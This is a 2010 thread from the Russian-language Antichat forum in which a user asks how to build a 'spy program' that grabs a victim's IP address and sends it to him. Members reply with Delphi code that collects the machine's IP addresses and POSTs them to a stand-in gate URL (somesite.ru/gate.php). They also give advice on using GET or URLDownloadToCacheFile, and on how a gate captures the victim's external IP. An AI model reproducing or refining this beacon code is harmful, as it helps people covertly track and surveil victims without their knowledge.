ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.04.2010, 16:52
|
|
Banned
Регистрация: 09.04.2010
Сообщений: 181
Провел на форуме: 475927
Репутация:
12
|
|
Программа шпион
Народ 3 дня гуглил не нашел,как сделать чтобы прога читала ип жертвы и сливала мне на почту
|
|
|

22.04.2010, 17:08
|
|
Познающий
Регистрация: 17.04.2010
Сообщений: 38
Провел на форуме: 28500
Репутация:
0
|
|
что тут писать ? Узнаеш IP и через smtp .
на C# пишется за 5 мин.
|
|
|

22.04.2010, 17:26
|
|
Познающий
Регистрация: 02.12.2009
Сообщений: 37
Провел на форуме: 195146
Репутация:
15
|
|
узнаем ip, думаю с отправкой на мыло труда не составит.
WinSock:
Код:
procedure TForm1.Button1Click(Sender: TObject);
type
InAddr = Array[0..10] of PInAddr;
TInAddr = ^InAddr;
var
Host: PHostEnt;
pPtr: TInAddr;
Buffer: Array[0..63] of char;
i: Integer;
Socket: TWSAData;
begin
ListBox1.Clear;
WSAStartup( $101, Socket );
GetHostName( Buffer, SizeOf( Buffer ) );
Host := GetHostByName( buffer );
if Host = nil then Exit;
pPtr := TInAddr( Host^.h_addr_list );
i := 0;
while pPtr^[i] <> nil do
begin
ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );
Inc( i );
end;
WSACleanup;
end;
|
|
|

22.04.2010, 20:25
|
|
Banned
Регистрация: 09.04.2010
Сообщений: 181
Провел на форуме: 475927
Репутация:
12
|
|
для меня это жуть,а через ид хттп мож реализовать +
|
|
|

23.04.2010, 07:14
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме: 500264
Репутация:
69
|
|
уж не так то это и сложно))
Код:
uses idHTTP;
........
Function LocalIP : string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
I : Integer;
GInitData : TWSADATA;
Begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
// Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.
I := 0;
while pptr^[I] <> nil do begin
// приводим их по очерёдности к нормальному виду
Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;
Inc(I);
end;
WSACleanup;
End;
// процедура для отсылки Ip на гейт
procedure SendIp;
var
HTTP : TidHTTP;
Str : TStringList;
begin
HTTP := TidHTTP.Create(nil);
Str := TStringList.Create;
Str.Add('ip=' + LocalIp);
HTTP.Post('http://somesite.ru/gate.php', str);
Str.free;
HTTP.Free;
end;
end;
|
|
|

23.04.2010, 09:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос.
В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны
|
|
|

23.04.2010, 09:47
|
|
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
Провел на форуме: 612028
Репутация:
28
|
|
да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*
|
|
|

23.04.2010, 10:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 [stranger] ну по этому и юзаются гейты и потому подобные прелести.
Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.
|
|
|

23.04.2010, 12:39
|
|
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
Провел на форуме: 612028
Репутация:
28
|
|
естественно, я просто подчеркнул недостаточность определения айпи локально.. 
|
|
|

23.04.2010, 16:22
|
|
Banned
Регистрация: 09.04.2010
Сообщений: 181
Провел на форуме: 475927
Репутация:
12
|
|
Так,какой вариант вы советуете гет или пост
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|